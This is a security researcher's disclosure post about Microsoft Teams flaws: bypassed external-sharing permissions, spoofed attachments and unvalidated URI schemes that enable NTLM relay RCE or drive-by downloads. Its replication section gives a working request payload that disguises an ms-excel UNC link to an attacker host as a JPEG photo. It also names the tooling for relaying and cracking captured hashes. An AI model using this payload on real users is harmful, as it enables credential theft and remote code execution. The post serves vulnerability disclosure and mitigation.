Microsoft Teams — Attachment Spoofing and Lack of Permissions Enforcement Could Lead to RCE via NTLM Relay Attack or Drive-By Download Attack
Table of Contents
- Introduction
- Walkthrough
- Suggested Mitigations For Vendors
- Replication Steps
- References
Introduction
*All GIFs contained within this post can be watched in HD for clearer viewing, Medium unfortunately does not allow this to be set by default*
Due to a lack of permission enforcement and attachment spoofing vulnerabilities, a Teams user can fall victim to RCE via a NTLM Relay Attack, or a Drive-By download Attack .
After completing the “GIFShell” research,
I realized that while compelling, the attack chain relies on a dropper being downloaded and run on a victim’s machine. I set out to prove that this was possible through Teams itself, instead of through another application or social engineering method.
The vulnerabilities outlined in this report were reported to Microsoft in June 2022. Microsoft ultimately decided that the research did not meet their “bar for immediate servicing”. Microsoft has explicitly granted permission to “blog about/discuss this case and/or present your findings publicly”.
This research demonstrates how it is possible to send highly convincing phishing attachments to victims through Microsoft Teams, without any way for a user to pre-screen whether the linked attachment is malicious or not.
Walkthrough
Microsoft’s documentation states, that by default, external users cannot share files with users in another tenant for security reasons. This prevents an external user from sending a user in another organization, a malicious attachment via Microsoft Teams.
If a user in one organization wishes to send an attachment to a user in another organization, you’ll notice that there is no paperclip option to upload an attachment.
However, due to a lack of permission enforcement, this can be bypassed, and attachments can be sent to external users.
When a file is uploaded to Microsoft Teams in a message to an allowed user like a co-worker in an Azure organization, Microsoft generates a Sharepoint link to the file, that only the sender and recipient of the Team’s message can view. When a user then clicks send on the Teams message containing the attachment, a JSON body is sent in a POST request to a Teams endpoint containing the Sharepoint link to the file, and several other file attributes.
This JSON body can then be modified, and included in a POST request to the conversation endpoint associated with an external user. This allows for a Teams attachment to be shared with the external user, despite the permissions stating we can’t, and the UI not supporting file upload functionality to an external user by default.
The Sharepoint links in the JSON body are not validated server-side, and can be swapped out with any URL. Additionally, the file type attributes in the JSON body can be changed from a file format like a JPEG, which Teams will try and render in-line, to a file format which Teams doesn't know how to render inline, like a dll file. This allows the file to appear like a legitimate attachment, without Microsoft Teams trying to render a preview in-line.
When the external user receives the file, it appears completely normal. The file name is a jpeg file, and if a user hovers over the file in Teams, the jpeg file name is displayed as well. There is absolutely no evidence to the user that the file is malicious.
Microsoft Teams supports Deep Linking, which allows for Teams users to share links, which when clicked carry out Teams actions, like sending a chat:
msteams://l/chat/0/0?users=<email>However, Teams does not validate if only Teams deep links are being used, and allows for any Microsoft URI scheme to be used like msdt:/, ms-rdx-document:/, ms-excel:/ and more.
These allowed, potentially unsafe URI schemes, combined with the lack of permissions enforcement and attachment spoofing vulnerabilities, can allow for a One Click RCE via NTLM relay in Microsoft Teams.
When clicked, instead of fetching the specified file from a Sharepoint server, like a normal Teams attachment would, a URL is visited like
ms-excel:/ofv|u|//10.10.10.10/ROPNOP/test.xlsThis URL immediately opens Microsoft Excel on the victim’s machine, and tries to fetch that xls file from the specified UNC path, in this case the attacker’s server. This sends an SMB handshake to the attacker’s listener, allowing an attacker to capture the NTLM hash, and forward it to the Domain Controller, achieving RCE as that user.
Even if SMB signing is turned on, and SMBv2 is in use, the Net-NTLMv2 hash can still be cracked offline, and the victim’s password can be retrieved.
As previously mentioned, the Sharepoint links in the JSON body are not validated server-side, and can be swapped out with any URL.This can also allow an attacker to insert a malicious URL into the attachment, and carry out a Drive-By download attack as well.
Suggested Mitigations For Vendors
- Ensure users are trained not to click on attachments from unknown external senders.
- While I have not personally tested this, implementing a Safe Attachments policy in Microsoft Defender for Office 365 may help prevent the Drive-By download attack (https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/turn-on-mdo-for-spo-odb-and-teams?view=o365-worldwide)
- Enabling SMB Signing or disabling NTLM entirely and ensuring a complex password policy is in place will help prevent the NTLM attacks outlined.
Replication Steps
Pre-requisites:
- Set up two Azure organizations, with a user in each org
- Victim is part of an organization utilizing Active Directory
- Have an intercepting proxy set-up in your browser and visit the Teams website as the attacking user
- Teams (Work or School) on Windows as the victim
- A Kali machine with NTLM Relay, Responder, smbexec.py, Impacket, and Hashcat
1) Turn on your intercepting proxy
2) Send a Teams message to the victim containing any word. The intercepted request should look something like:
POST /v1/users/ME/conversations/19%3A89a6189b-7191-439a-b197-a3aea9628371_9e02156d-981c-4a84-b2bf-0c5cc1382b8c%40unq.gbl.spaces/messages HTTP/2{"content":"<p>hello</p>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"7006813894289134319","imdisplayname":"Chris Green","properties":{"importance":"","subject":""}}
3) Change the JSON body to the following:
- Mentions of 10.211.55.3 should be swapped out with your Kali’s IP address or if you are conducting a Drive-by-download attack, the entire URL can be swapped out with your malicious URL.
- The clientmessageid should be swapped out with the clientmessageid of your original message in Step #2.
- The name Chris Green should be swapped out with your attacker’s Teams name.
{"content":"","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"1064847113124255235","imdisplayname":"Chris Green","properties":{"files":"[{\"@type\":\"http://schema.skype.com/File\",\"version\":2,\"id\":\"b743d9ef-ce96-469c-b3fc-b31b13eb8dc2\",\"baseUrl\":\"ms-excel:/ofv|u|//10.211.55.3/ROPNOP/test.xls\",\"type\":\"dll\",\"title\":\"Christmas_Party_Photo.jpeg\",\"state\":\"active\",\"objectUrl\":\"ms-excel:/ofv|u|//10.211.55.3/ROPNOP/test.xls\",\"itemid\":\"b743d9ef-ce96-469c-b3fc-b31b13eb8dc2\",\"fileName\":\"Christmas_Party_Photo.jpeg\",\"fileType\":\"dll\",\"fileInfo\":{\"itemId\":null,\"fileUrl\":\"ms-excel:/ofv|u|//10.211.55.3/ROPNOP/test.xls\",\"siteUrl\":\"ms-excel:/ofv|u|//10.211.55.3/ROPNOP/test.xls\",\"serverRelativeUrl\":\"\",\"shareUrl\":\"ms-excel:/ofv|u|//10.211.55.3/ROPNOP/test.xls\",\"shareId\":\"71cdddb7-9c23-4aa0-a579-60662cc5d357\"},\"botFileProperties\":{},\"filePreview\":{},\"fileChicletState\":{\"serviceName\":\"p2p\",\"state\":\"active\"}}]","importance":"","subject":""}}References:
Contact: @bobbyrsec on Twitter
